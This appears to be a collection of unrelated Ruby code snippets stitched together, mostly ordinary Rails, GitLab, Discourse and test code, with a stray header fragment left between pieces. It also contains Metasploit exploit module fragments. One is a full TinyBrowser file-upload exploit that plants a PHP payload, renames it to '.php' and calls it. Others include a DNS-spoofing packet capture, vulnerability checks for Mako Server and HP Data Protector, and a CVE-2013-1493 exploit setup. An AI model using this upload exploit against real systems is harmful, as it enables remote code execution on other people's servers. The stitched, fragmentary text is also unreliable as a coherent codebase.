                                       env_name: "FRAMEIT_USE_LEGACY_IPHONE_X",
                                       description: "Use iPhone X instead of iPhone XS frames",
                                       default_value: false,
                                       type: Boolean),
        FastlaneCore::ConfigItem.new(key: :use_legacy_iphonexr,
                                     env_name: "FRAMEIT_USE_LEGACY_IPHONE_XR",
                                     description: "Use iPhone XR instead of iPhone 11 frames",
                                     default_value: false,
                                     type: Boolean),
        FastlaneCore::ConfigItem.new(key: :use_legacy_iphonexs,
                                     env_name: "FRAMEIT_USE_LEGACY_IPHONE_XS",
                                     description: "Use iPhone XS instead of iPhone 11 Pro frames",
                                     default_value: false,
                                     type: Boolean),
        FastlaneCore::ConfigItem.new(key: :use_legacy_iphonexsmax,
                                     env_name: "FRAMEIT_USE_LEGACY_IPHONE_XS_MAX",
                                     description: "Use iPhone XS Max instead of iPhone 11 Pro Max frames",
                                     default_value: false,
                                     type: Boolean),
        FastlaneCore::ConfigItem.new(key: :force_orientation_block,
                                       type: :string_callback,
                                       description: "[Advanced] A block to customize your screenshots' device orientation",
                                       display_in_shell: false,
                                       optional: true,
                                       default_value: proc do |filename|
                                         f = filename.downcase
                                         if f.end_with?("force_landscapeleft")
                                           :landscape_left
                                         elsif f.end_with?("force_landscaperight")
                                           :landscape_right
                                         end
                                       end,
                                       default_value_dynamic: true),
        FastlaneCore::ConfigItem.new(key: :debug_mode,
                                       env_name: "FRAMEIT_DEBUG_MODE",
                                       description: "Output debug information in framed screenshots",
                                       default_value: false,
                                       type: Boolean),
        FastlaneCore::ConfigItem.new(key: :resume,
                                       env_name: "FRAMEIT_RESUME",
                                       description: "Resume frameit instead of reprocessing all screenshots",
                                       default_value: false,
                                       type: Boolean),
        FastlaneCore::ConfigItem.new(key: :use_platform,
                                       env_name: "FRAMEIT_USE_PLATFORM",
                                       description: "Choose a platform, the valid options are IOS, ANDROID and ANY (default is either general platform defined in the fastfile or IOS to ensure backward compatibility)",
                                       optional: true,
                                       default_value: Platform.symbol_to_constant(Fastlane::Helper::LaneHelper.current_platform),
                                       default_value_dynamic: true,
                                       verify_block: proc do |value|
                                         UI.user_error!("Invalid platform type '#{value}'. Available values are " + Platform.all_platforms.join(', ') + ".") unless ConfigParser.supported_platform?(value)
                                       end)
      ]
    end


def test_merging_reorders_bind_params
    post  = Post.first
    right = Post.where(id: 1)
    left  = Post.where(title: post.title)

    merged = left.merge(right)
    assert_equal post, merged.first
  end


def covered_strength = source_file.covered_strength


def test_after_commit_callback_should_not_rollback_state_that_already_been_succeeded
    klass = Class.new(TopicWithCallbacks) do
      self.inheritance_column = nil
      validates :title, presence: true
    end

    first = klass.new(title: "foo")
    first.after_commit_block { |r| r.update(title: nil) if r.persisted? }
    first.save!

    assert_predicate first, :persisted?
    assert_not_nil first.id
  ensure
    first.destroy!
  end


def test_set_session_variable_default
      run_without_connection do |orig_connection|
        # This should execute a query that does not raise an error
        assert_nothing_raised do
          ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { debug_print_plan: :default }))
        end
      end
    end


def synchronize(*keys)
        return if keys.empty?

        locks = {}
        loop do
          @mutex.synchronize do
            keys.each do |key|
              mutex = @mutex_hash[key]
              unless mutex
                v = Mutex.new
                @mutex_hash[key] = v
                mutex = v
              end

              if mutex.try_lock
                locks[key] = mutex
              else
                locks.each_value(&:unlock)
                locks = {}          # flush locked keys
                break
              end
            end
          end

          next if locks.empty?      # failed to lock all keys

          locks.each do |(k, v)|
            yield @data_store, k
            v.unlock
          end
          break
        end
      end


def exploit
    case datastore['TARGET']
    when 0
      exploit_formcache
    when 1
      exploit_newuser
    else
      fail_with(Failure::BadConfig, "Invalid target selected.")
    end
  end


def model_suffix
        name[base_model.name.length..-1]
      end


def test_erb_in_fixtures
    assert_equal "fixture_5", @dev_5.name
  end


def invited
    language = params["locale"] || I18n.default_locale
    actor = FactoryBot.build_stubbed(:user, lastname: "Actor")
    user = FactoryBot.build_stubbed(:user, language:)
    meeting = FactoryBot.build_stubbed(:meeting)

    MeetingMailer.invited(meeting, user, actor)
  end


def stream_line(delta)
    message_content = { content: delta }

    +{
      model: "llama3.1",
      created_at: "2024-09-25T06:47:21.283028Z",
      message: { role: "assistant" }.merge(message_content),
      done: false,
    }.to_json
  end


def open_assignees_dropdown
    within_testid('work-item-assignees') do
      click_button('Edit')
    end
  end


def reset_pk_sequence!(table, pk = nil, sequence = nil) # :nodoc:
          unless pk && sequence
            default_pk, default_sequence = pk_and_sequence_for(table)

            pk ||= default_pk
            sequence ||= default_sequence
          end

          if @logger && pk && !sequence
            @logger.warn "#{table} has primary key #{pk} with no default sequence."
          end

          if pk && sequence
            quoted_sequence = quote_table_name(sequence)
            max_pk = query_value("SELECT MAX(#{quote_column_name pk}) FROM #{quote_table_name(table)}", "SCHEMA")
            if max_pk.nil?
              if database_version >= 10_00_00
                minvalue = query_value("SELECT seqmin FROM pg_sequence WHERE seqrelid = #{quote(quoted_sequence)}::regclass", "SCHEMA")
              else
                minvalue = query_value("SELECT min_value FROM #{quoted_sequence}", "SCHEMA")
              end
            end

            internal_execute("SELECT setval(#{quote(quoted_sequence)}, #{max_pk || minvalue}, #{max_pk ? true : false})", "SCHEMA")
          end
        end


def limited_commits
      [tag_commit].compact
    end


def strategy
    @crowd_server_url ||= 'https://crowd.example.org'
    @application_name ||= 'bogus_app'
    @application_password ||= 'bogus_app_password'
    [OmniAuth::Strategies::Crowd, {:crowd_server_url => @crowd_server_url,
                                    :application_name => @application_name,
                                    :application_password => @application_password,
                                    :use_sessions => @using_sessions,
                                    :sso_url => @sso_url,
                                    :sso_url_image => @sso_url_image
     }]
  end


def app_id
        raise "No app included" unless app
        return app.id
      end


def self.pipeline_builder_scoped_variables_histogram
          name = :gitlab_ci_pipeline_builder_scoped_variables_duration
          comment = 'Pipeline variables builder scoped_variables duration'
          labels = {}
          buckets = [0.01, 0.05, 0.1, 0.3, 0.5, 1, 2, 5, 10, 30, 60, 120]

          ::Gitlab::Metrics.histogram(name, comment, labels, buckets)
        end


def has_no_file_name?(file_name)
          within_element('file-title-content') do
            has_no_text?(file_name)
          end
        end


def calculate_page_views_stats_per_day(page_view_data)
    # we issue one single query that contains all requested aggregates
    # and that groups them by date
    page_views = page_view_data.select(
      Arel.sql("DATE(created_at)").as("date"),
      Arel.sql("SUM(counts_for_number_of_views)").as("total"),
      # count the average only for logged in users
      Arel.sql("AVG(time_tracked_in_seconds) FILTER (WHERE user_id IS NOT NULL)").as("average"),
    ).group("DATE(created_at)")

    # this transforms the collection of pseudo PageView objects previously selected
    # in a hash, eg. {total: 2, average_read_time_in_seconds: 10, total_read_time_in_seconds: 20}
    page_views.each_with_object({}) do |page_view, hash|
      average = (page_view.average || 0).round # average is a BigDecimal
      hash[page_view.date.iso8601] = {
        total: page_view.total,
        average_read_time_in_seconds: average,
        total_read_time_in_seconds: page_view.total * average
      }
    end
  end


def up
    add_column :application_settings, :encrypted_secret_detection_service_auth_token, :binary, if_not_exists: true
    add_column :application_settings, :encrypted_secret_detection_service_auth_token_iv, :binary, if_not_exists: true
  end


def edit_pipeline_schedule
    visit edit_project_pipeline_schedule_path(project, pipeline_schedule)
  end


def send_notice
    if SiteSetting.contact_email.present?
      missing_versions = DiscourseUpdates.missing_versions
      if missing_versions.present? && missing_versions.first["notes"].present?
        build_email(
          SiteSetting.contact_email,
          template: "new_version_mailer_with_notes",
          notes: missing_versions.first["notes"],
          new_version: DiscourseUpdates.latest_version,
          installed_version: Discourse::VERSION::STRING,
        )
      else
        build_email(
          SiteSetting.contact_email,
          template: "new_version_mailer",
          new_version: DiscourseUpdates.latest_version,
          installed_version: Discourse::VERSION::STRING,
        )
      end
    end
  end


def initialize(pool: nil, now: Time.now)
        @time = now.utc
        @pool = pool || Sidekiq.default_configuration.redis_pool
        @klass = nil
      end


def post_modal
          begin
            response = ::Slack::API.new(slack_installation).post(
              'views.open',
              modal_view
            )
          rescue *Gitlab::HTTP::HTTP_ERRORS => e
            return ServiceResponse
              .error(message: 'HTTP exception when calling Slack API')
              .track_exception(
                as: e.class,
                slack_workspace_id: team_id
              )
          end

          if response['ok']
            self.class.cache_write(view_id(response), project_id(response))

            return ServiceResponse.success(message: _('Please complete the incident creation form.'))
          end

          ServiceResponse.error(
            message: _('Something went wrong while opening the incident form.'),
            payload: response
          ).track_exception(
            response: response.to_h,
            slack_workspace_id: team_id,
            slack_user_id: slack_installation.user_id
          )
        end


def feature_category_for_action(action)
        category = endpoint_attributes.attribute_for_action(action, :feature_category)
        category || superclass_feature_category_for_action(action)
      end


def round_to_two_places(amount)
      BigDecimal(amount.to_s).round(2, BigDecimal::ROUND_HALF_UP)
    end


def matches?(_kind, _filter)
          @kind == _kind && filter == _filter
        end


def teardown
      @connection.drop_table :virtual_columns, if_exists: true
      VirtualColumn.reset_column_information
    end


def permitted_params
    params.permit(:slug, :category_slug, :locale, :id, :article_slug)
  end


def up
    execute <<~SQL
      CREATE INDEX IF NOT EXISTS
      idx_discourse_calendar_post_event_dates_event_id_starts_at_temp
      ON discourse_calendar_post_event_dates (event_id, starts_at)
    SQL

    max_id = nil
    ActiveRecord::Base.transaction do
      execute "LOCK TABLE discourse_calendar_post_event_dates IN SHARE MODE"
      result = DB.query_single("SELECT MAX(id) as max_id FROM discourse_calendar_post_event_dates")
      max_id = result.first || 0

      execute <<~SQL
        CREATE UNIQUE INDEX IF NOT EXISTS
        idx_discourse_calendar_post_event_dates_event_id_starts_at_new
        ON discourse_calendar_post_event_dates (event_id, starts_at)
        WHERE id > #{max_id}
      SQL
    end

    loop do
      result = execute(<<~SQL)
          DELETE FROM discourse_calendar_post_event_dates
          WHERE id IN (
            SELECT id FROM (
              SELECT id,
                     ROW_NUMBER() OVER (
                       PARTITION BY event_id, starts_at
                       ORDER BY id ASC
                     ) as rn
              FROM discourse_calendar_post_event_dates
              WHERE (event_id, starts_at) IN (
                SELECT event_id, starts_at
                FROM discourse_calendar_post_event_dates
                GROUP BY event_id, starts_at
                HAVING COUNT(*) > 1
              )
            ) duplicates
            WHERE rn > 1
            LIMIT 100000
          )
        SQL

      deleted_count = result.cmd_tuples || 0
      break if deleted_count == 0
      puts "Deleted #{deleted_count} duplicate records"
    end

    ActiveRecord::Base.transaction do
      execute <<~SQL
        DROP INDEX IF EXISTS
        idx_discourse_calendar_post_event_dates_event_id_starts_at_new
      SQL

      execute <<~SQL
        CREATE UNIQUE INDEX
        idx_discourse_calendar_post_event_dates_event_id_starts_at_unique
        ON discourse_calendar_post_event_dates (event_id, starts_at)
      SQL
    end

    execute <<~SQL
      DROP INDEX IF EXISTS
      idx_discourse_calendar_post_event_dates_event_id_starts_at_temp
    SQL
  end


def default_store
        object_store_enabled? ? ObjectStorage::Store::REMOTE : ObjectStorage::Store::LOCAL
      end


def sql_value
    case operator
    when "=", "!"
      values.map { |val| self.class.connection.quote_string(val.downcase) }.join(",")
    when "**", "~", "!~"
      values.first.downcase
    end
  end


def backticked_username(user)
            "`@#{user&.login || 'ghost'}`"
          end


def publish_metrics(metrics)
    metrics.each_value do |metric|
      resource = metric.delete(:resource)

      metric[:parent_ems_type] = resource.ext_management_system&.class&.ems_type
      metric[:parent_ems_uid]  = resource.ext_management_system&.uid_ems

      metric[:resource_type] = resource.class.base_class.name
      metric[:resource_id]   = resource.id

      metric[:resource_manager_ref] = resource.ems_ref if resource.respond_to?(:ems_ref)
      metric[:resource_manager_uid] = resource.uid_ems if resource.respond_to?(:uid_ems)

      MiqQueue.messaging_client("metrics_capture")&.publish_topic(
        :service => "manageiq.metrics",
        :sender  => resource.ext_management_system&.id,
        :event   => "metrics",
        :payload => metric
      )
    end
  rescue => err
    _log.warn("Failed to publish metrics: #{err}")
    _log.log_backtrace(err)
  end


def initialize(logger)
      @logger = logger || Logger.new($stdout)
    end


def test_new_rc_option
        file = Tempfile.new "myrcfile"
        file.puts "--hello-world"
        file.flush

        message = nil
        scrubber = Class.new(ARGVScrubber) {
          define_method(:puts) { |msg| message = msg }
        }.new ["new", "--rc=#{file.path}"]
        args = scrubber.prepare!
        assert_equal ["--hello-world"], args
        assert_match "hello-world", message
        assert_match file.path, message
      ensure
        file.close
        file.unlink
      end


def on_send(node)
          return unless node.assignment_method?
          return unless redundant_assignment?(node)

          message = format(MSG, method_name: node.first_argument.method_name)
          add_offense(node.loc.operator, message: message) do |corrector|
            corrector.remove(correction_range(node))
          end
        end


def first_comment_line?(comments, index)
          index.zero? || comments[index - 1].loc.line < comments[index].loc.line - 1
        end


def generate_presigned_put
    RateLimiter.new(
      current_user,
      "generate-presigned-put-upload-stub",
      SiteSetting.max_presigned_put_per_minute,
      1.minute,
    ).performed!

    file_name = params.require(:file_name)
    file_size = params.require(:file_size).to_i
    type = params.require(:type)

    begin
      validate_before_create_direct_upload(
        file_name: file_name,
        file_size: file_size,
        upload_type: type,
      )
    rescue ExternalUploadValidationError => err
      return render_json_error(err.message, status: 422)
    end

    external_upload_data =
      ExternalUploadManager.create_direct_upload(
        current_user: current_user,
        file_name: file_name,
        file_size: file_size,
        upload_type: type,
        metadata: parse_allowed_metadata(params[:metadata]),
      )

    render json: external_upload_data
  end


def message(node)
          format(MSG, inverse: node.inverse_keyword, current: node.keyword)
        end


def create_buffer(hash)
    buffer_conf = config_element('buffer', '', hash, [])
    owner = FluentPluginBufferTest::DummyOutputPlugin.new
    owner.configure(config_element('ROOT', '', {}, [ buffer_conf ]))
    p = FluentPluginBufferTest::DummyPlugin.new
    p.owner = owner
    p.configure(buffer_conf)
    p
  end


def miq_region
    MiqRegion.find_by(:region => region_id)
  end


def call(additional_user_params = nil)
      inspect_response(Logger::DEBUG)

      unless contract.validate
        result = ServiceResult.failure(errors: contract.errors)
        Rails.logger.error do
          # Try to provide some context of the auth_hash in case of errors
          auth_uid = begin
            hash = auth_hash || {}
            hash.dig(:info, :uid) || hash[:uid] || "unknown"
          end
          "[OmniAuth strategy #{strategy.name}] Failed to process omniauth response for #{auth_uid}: #{result.message}"
        end
        inspect_response(Logger::ERROR)

        return result
      end

      # Create or update the user from omniauth
      # and assign non-nil parameters from the registration form - if any
      assignable_params = (additional_user_params || {}).compact
      update_user_from_omniauth!(assignable_params)

      # If we have a new or invited user, we still need to register them
      call = activate_user!

      # Update the admin flag when present successful
      call = update_admin_flag(call) if call.success?

      # The user should be logged in now
      tap_service_result call
    end


def sync_contact_attributes
    ::Contacts::SyncAttributes.new(self).perform
  end


def find_and_rate_limit_webhook(key)
      webhook = Chat::IncomingWebhook.includes(:chat_channel).find_by(key: key)
      raise Discourse::NotFound unless webhook

      # Rate limit to 10 messages per-minute. We can move to a site setting in the future if needed.
      RateLimiter.new(
        nil,
        "incoming_chat_webhook_#{webhook.id}",
        WEBHOOK_MESSAGES_PER_MINUTE_LIMIT,
        1.minute,
      ).performed!
      webhook
    end


def work_package_id
    OpenProject::Deprecation.replaced(:work_package_id, :entity_id, caller_locations)

    if entity_type == "WorkPackage"
      entity_id
    end
  end


def initialize(work_package:, meeting_agenda_item: nil, base_errors: nil)
      super

      @work_package = work_package
      @meeting_agenda_item = meeting_agenda_item || MeetingAgendaItem.new(work_package: @work_package)
      @base_errors = base_errors
    end


def capture_traffic
    check_pcaprub_loaded
    ::Socket.do_not_reverse_lookup = true # Mac OS X workaround
    open_pcap({ 'FILTER' => datastore['FILTER'] })
    @capture_thread = Rex::ThreadFactory.spawn('DNSSpoofer', false) do
      each_packet do |pack|
        begin
          parsed = PacketFu::Packet.parse(pack)
        rescue StandardError => e
          vprint_status('PacketFu could not parse captured packet')
          elog('PacketFu could not parse captured packet', error: e)
        end

        begin
          reply = reply_packet(parsed)
          service.dispatch_request(reply, parsed.payload)
        rescue StandardError => e
          vprint_status('Could not process captured packet')
          elog('Could not process captured packet', error: e)
        end
      end
    end
  end


def self.get(experiment:, controller:, user:, default_value:, config: ApplicationConfig)
    method_name = method_name_for(experiment)
    new(controller: controller)
      .public_send(method_name, user: user, default_value: default_value, experiment: experiment, config: config)
  end


def get_or_cache_batch_ids
            return [start, finish] unless self.class.cache_key.present?

            key_name = "metric_instrumentation/#{self.class.cache_key}"

            cached_start = Gitlab::Cache.fetch_once("#{key_name}_minimum_id", expires_in: 1.day) do
              start
            end

            cached_finish = Gitlab::Cache.fetch_once("#{key_name}_maximum_id", expires_in: 1.day) do
              finish
            end

            [cached_start, cached_finish]
          end


def exploit
    cmd_php = '<?php ' + payload.encoded + '?>'

    # Generate some random strings
    cmdscript	= rand_text_alpha_lower(20)
    boundary = rand_text_alphanumeric(6)

    # Static files
    directory	= '/images/stories/'
    uri_base = normalize_uri(datastore['URI'])
    uri_base << '/' if uri_base[-1, 1] != '/'
    uri_base << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser'

    # Get obfuscation code (needed to upload files)
    obfuscation_code = nil

    res = send_request_raw({
      'uri' => uri_base + '/upload.php?type=file&folder='
    }, 25)

    if (res)

      if (res.body =~ /"obfus", "((\w)+)"\)/)
        obfuscation_code = $1
        print_good("Successfully retrieved obfuscation code: #{obfuscation_code}")
      else
        print_error("Error retrieving obfuscation code!")
        return
      end
    end

    # Upload shellcode (file ending .ph.p)
    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
    data << "#{cmdscript}.ph.p\r\n--#{boundary}"
    data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"
    data << "Content-Type: application/octet-stream\r\n\r\n"
    data << cmd_php
    data << "\r\n--#{boundary}--"

    res = send_request_raw({
      'uri'	=> uri_base + "/upload_file.php?folder=" + directory + "&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=",
      'method' => 'POST',
      'data' => data,
      'headers' =>
      {
        'Content-Length' => data.length,
        'Content-Type'	=> 'multipart/form-data; boundary=' + boundary,
      }
    }, 25)

    if (res and res.body =~ /File Upload Success/)
      print_good("Successfully Uploaded #{cmdscript}.ph.p")
    else
      print_error("Error uploading #{cmdscript}.ph.p")
    end

    # Complete the upload process (rename file)
    print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")
    res = send_request_raw({
      'uri' => uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1'
    })

    # Rename the file from .ph.p to .php
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => uri_base + '/edit.php?type=file&folder=',
        'vars_post' =>
        {
          'actionfile[0]' => "#{cmdscript}.ph.p",
          'renameext[0]' => 'p',
          'renamefile[0]' => "#{cmdscript}.ph",
          'sortby' => 'name',
          'sorttype' => 'asc',
          'showpage' => '0',
          'action' => 'rename',
          'commit' => '',
        }
      }, 10
    )

    if (res and res.body =~ /successfully renamed./)
      print_status("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
    else
      print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
    end

    # Finally call the payload
    print_status("Calling payload: #{cmdscript}.php")
    uri = normalize_uri(datastore['URI'])
    uri << '/' if uri[-1, 1] != '/'
    uri << directory + cmdscript + ".php"
    res = send_request_raw({
      'uri'	=> uri
    }, 25)
  end

Content-Disposition: form-data; name="Filedata"; filename="


def test_redis_option_skip
        run_generator ["--skip-redis"]

        test_common_config
        assert_compose_file do |compose|
          assert_not_includes compose["services"]["rails-app"]["depends_on"], "redis"
          assert_nil compose["services"]["redis"]
          assert_nil compose["volumes"]
        end

        assert_devcontainer_json_file do |devcontainer_json|
          assert_not_includes devcontainer_json["forwardPorts"], 6379
        end
      end


def post_initialize_sqleditor(trans_id, sgid, sid, did)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/sqleditor/initialize/sqleditor/#{trans_id}/#{sgid}/#{sid}/#{did}"),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => {
        'user' => datastore['DB_USER'],
        'password' => datastore['DB_PASS'],
        'role' => '',
        'dbname' => datastore['DB_NAME']
      }.to_json
    })

    unless res&.code == 200
      errmsg = res&.get_json_document&.dig('result', 'errmsg') || 'unknown error'
      fail_with(Failure::UnexpectedReply, "Failed to initialize sqleditor: #{errmsg}")
    end

    print_good('Successfully initialized sqleditor')
  end


def setting_check_box(setting, options = {})
    setting_label(setting, options) +
      wrap_field_outer(options) do
        hidden = with_empty_unless_writable(setting) do
          tag(:input, type: "hidden", name: "settings[#{setting}]", value: 0, id: "settings_#{setting}_hidden")
        end

        hidden +
          styled_check_box_tag("settings[#{setting}]",
                               1,
                               Setting.send(:"#{setting}?"),
                               disabled_setting_option(setting).merge(options))
      end
  end


def expect_no_bar
        loading_indicator_saveguard
        expect(container).to have_no_css(".timeline-element")
      end


def pick_selection
          posts =
            Post
              .where(topic_id: target.id)
              .where("post_type = ?", Post.types[:regular])
              .where("NOT hidden")
              .order(:post_number)

          post_numbers = posts.limit(5).pluck(:post_number)
          post_numbers += posts.reorder("posts.score desc").limit(50).pluck(:post_number)
          post_numbers += posts.reorder("post_number desc").limit(5).pluck(:post_number)

          Post
            .where(topic_id: target.id)
            .joins(:user)
            .where("post_number in (?)", post_numbers)
            .order(:post_number)
        end


def create_integration
      create(:gitlab_slack_application_integration, project: project)
    end


def initialize(client)
    super(client, 'android')

    # Alias the following things on the client object so that they
    # can be directly referenced
    client.register_extension_aliases(
      [
        {
          'name' => 'android',
          'ext'  => self
        }
      ])
  end


def test_form_for_with_file_field_generate_multipart
    form_for(@post, html: { id: "create-post" }) do |f|
      concat f.file_field(:file)
    end

    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch", multipart: true) do
      "<input name='post[file]' type='file' id='post_file' />"
    end

    assert_dom_equal expected, @rendered
  end


def tag_moderator_confirmation_email
    @user = params[:user]
    @tag = params[:tag]
    @channel_slug = params[:channel_slug]

    subject = I18n.t("mailers.notify_mailer.moderator", tag_name: @tag.name)
    mail(to: @user.email, subject: subject)
  end


def check
    vprint_status('Trying to detect running Mako Server and necessary files...')

    # Send GET request to determine existence of save.lsp page
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'examples/save.lsp')
    }, 20)

    # If response does not include "MakoServer.net", target is not viable.
    if res.headers['Server'] !~ /MakoServer\.net/
      vprint_warning('Target is not a Mako Server.')
      return CheckCode::Safe
    end

    if res.body
      if res.body.include?('Incorrect usage')
        # We are able to determine that the server has a save.lsp page and
        # returns the correct output.
        vprint_status('Mako Server save.lsp returns correct ouput.')
        return CheckCode::Appears
      else
        # The page exists, but is not returning the expected output.
        # May be a different version?
        vprint_warning('Mako Server save.lsp did not return expected output.')
        return CheckCode::Detected
      end
    else
      # The above checks failed and exploitability could not be determined.
      vprint_error('Unable to determine exploitability, save.lsp not found.')
      return CheckCode::Unknown
    end

    CheckCode::Safe
  end


def escaped_worksheet_name(name)
      name.gsub!(/[\/\\*\[\]:?]/, "#")
      name = name[0, [name.length, 27].min] + "..." if name.length > 31

      name
    end


def check
    fingerprint = get_fingerprint

    if fingerprint.nil?
      vprint_error("Unable to fingerprint")
      return Exploit::CheckCode::Unknown
    end

    port = get_crs_port

    if port.nil?
      vprint_status("HP Data Protector version #{fingerprint}")
      vprint_error("But CRS port not found")
    else
      vprint_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}")
    end

    if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/
      # More likely to be exploitable
      return Exploit::CheckCode::Appears
    elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/
      # More likely to be exploitable
      return Exploit::CheckCode::Appears
    elsif fingerprint =~ /HP Data Protector A\.07\.00/
      return Exploit::CheckCode::Appears
    elsif fingerprint =~ /HP Data Protector A\.07\.01/
      return Exploit::CheckCode::Appears
    elsif fingerprint =~ /HP Data Protector A\.06\.20/
      return Exploit::CheckCode::Appears
    elsif fingerprint =~ /HP Data Protector A\.06\.21/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end


def purge_for_user
    user = userid.split("|").first unless userid.nil?
    self.class.purge_for_user(:userid => user) unless user.nil?
  end


def relation_included_keys(relation)
        attributes_finder.find_included_keys(relation)
      end


def setup
    path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1493", "Init.class")
    @init_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }
    path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1493", "Leak.class")
    @leak_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }
    path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1493", "MyBufferedImage.class")
    @buffered_image_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }
    path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1493", "MyColorSpace.class")
    @color_space_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }

    @init_class_name = rand_text_alpha("Init".length)
    @init_class.gsub!("Init", @init_class_name)
    super
  end


def test_include_multiple_columns_index
          with_example_table do
            @connection.add_index "ex", %w{ id }, name: "include", include: [:number, :data]
            index = @connection.indexes("ex").find { |idx| idx.name == "include" }
            assert_equal ["number", "data"], index.include
          end
        end


def self.install!
      # The Sidekiq client API always adds the queue to the Sidekiq queue
      # list, but mail_room and gitlab-shell do not. This is only necessary
      # for monitoring.
      queues = ::Gitlab::SidekiqConfig.routing_queues
      if queues.any?
        # Allow unrouted calls as this operation is idempotent and can be safely performed
        # by all Sidekiq processes
        SidekiqSharding::Validator.allow_unrouted_sidekiq_calls do
          Sidekiq.redis do |conn|
            conn.multi do |multi|
              multi.del('queues')
              multi.sadd('queues', queues)
            end
          end
        end
      end
    rescue ::Redis::BaseError, SocketError, Errno::ENOENT, Errno::EADDRNOTAVAIL, Errno::EAFNOSUPPORT, Errno::ECONNRESET, Errno::ECONNREFUSED
    end


def create_file(path)
    result = session.railgun.kernel32.CreateFileW(
      path,
      'GENERIC_READ | GENERIC_WRITE',
      0,
      nil,
      'CREATE_ALWAYS',
      0,
      0
    )
    error = result['GetLastError']
    unless error == 0
      fail_with(Msf::Module::Failure::PayloadFailed, "Unable to create file: #{result['ErrorMessage']}")
    end
    result['return']
  end


def set_token
    @token = permitted_params[:cw_conversation]
    @auth_token_params = if @token.present?
                           ::Widget::TokenService.new(token: @token).decode_token
                         else
                           {}
                         end
  end


def unreachable_themes
    @unreachable_themes ||= RemoteTheme.unreachable_themes
  end


def process_csp(env, input)
      input.gsub("!placeholder!", env[:csp_nonce])
    end


def value=(new_value)
    super(self.class.cast(new_value))
  end


def unget(options = {})
    update!(options.merge(:state => STATE_READY, :handler => nil))
    @delivered_on = nil
    _log.info("#{MiqQueue.format_full_log_msg(self)}, Requeued")
  end


def include?(value)
      if value.is_a?(::Range)
        is_backwards_op = value.exclude_end? ? :>= : :>
        return false if value.begin && value.end && value.begin.public_send(is_backwards_op, value.end)
        # 1...10 includes 1..9 but it does not include 1..10.
        # 1..10 includes 1...11 but it does not include 1...12.
        operator = exclude_end? && !value.exclude_end? ? :< : :<=
        value_max = !exclude_end? && value.exclude_end? ? value.max : value.last
        super(value.first) && (self.end.nil? || value_max.public_send(operator, last))
      else
        super
      end
    end


def checkout_or(key)
        @mutex.synchronize do
          tsock = pick_socket(key)

          if tsock
            tsock.sock
          else
            sock = yield
            new_tsock = TimedSocket.new(timeout, key, sock)
            @log.debug("connect new socket #{new_tsock}")

            @inflight_sockets[sock] = new_tsock
            new_tsock.sock
          end
        end
      end


def ==(other)
      name == other.name &&
        type == other.type
    end


def valid_context_using_only_begin?(node)
          parent = node.parent

          valid_begin_assignment?(node) || parent&.post_condition_loop? ||
            parent&.send_type? || parent&.operator_keyword?
        end


def unresolve
    return render_404 unless note.resolvable?

    note.unresolve!

    render_json_with_notes_serializer
  end


def test_config_params
    d = create_driver
    assert_equal "message", d.instance.message_key
  end


def create_params
    params.require(:resource_access_token).permit(:name, :expires_at, :description, :access_level, scopes: [])
  end


def get_knowledge_about_group
    group_table = table_name "common_usergroup"
    result =
      mysql_query(
        "SELECT groupid group_id, radminid role_id
             FROM #{group_table};",
      )
    @moderator_group_id = []
    @admin_group_id = []
    #@banned_group_id = [4,5] # 禁止的用户及其帖子均不导入，如果你想导入这些用户和帖子，请把这个数组清空。

    result.each do |group|
      case group["role_id"]
      when 1 # 管理员
        @admin_group_id << group["group_id"]
      when 2,
           3 # 超级版主、版主。如果你不希望原普通版主成为Discourse版主，把3去掉。
        @moderator_group_id << group["group_id"]
      end
    end
  end


def allowed_to_log_time?
          current_user.allowed_in_any_work_package?(:log_own_time) ||
          current_user.allowed_in_any_project?(:log_time)
        end


def self.cache
    @cache ||=
      begin
        if GlobalSetting.skip_redis?
          ActiveSupport::Cache::MemoryStore.new
        else
          Cache.new
        end
      end
  end


def down
    with_lock_retries do
      remove_foreign_key :group_wiki_repository_states, column: :group_id
    end
  end


def test_limit_should_apply_before_count
    accounts = Account.order(:id).limit(4)

    assert_equal 3, accounts.count(:firm_id)
    assert_equal 3, accounts.select(:firm_id).count
  end


def find_script_path(script)
      # Find the full file path of the specified argument
      check_paths =
        [
          script,
          ::File.join(script_base, "#{script}"),
          ::File.join(script_base, "#{script}.rb"),
          ::File.join(user_script_base, "#{script}"),
          ::File.join(user_script_base, "#{script}.rb")
        ]

      full_path = nil

      # Scan all of the path combinations
      check_paths.each { |path|
        if ::File.file?(path)
          full_path = path
          break
        end
      }

      full_path
    end


def extract_file(entry, entry_path, available_size)
      remaining_size = available_size

      if ::File.exist?(entry_path)
        raise DestinationFileExistsError, "Destination '#{entry_path}' already exists"
      end

      ::File.open(entry_path, "wb") do |os|
        while (buf = entry.read(chunk_size))
          remaining_size -= buf.size
          raise ExtractFailed if remaining_size.negative?
          os << buf
        end
      end

      remaining_size
    end


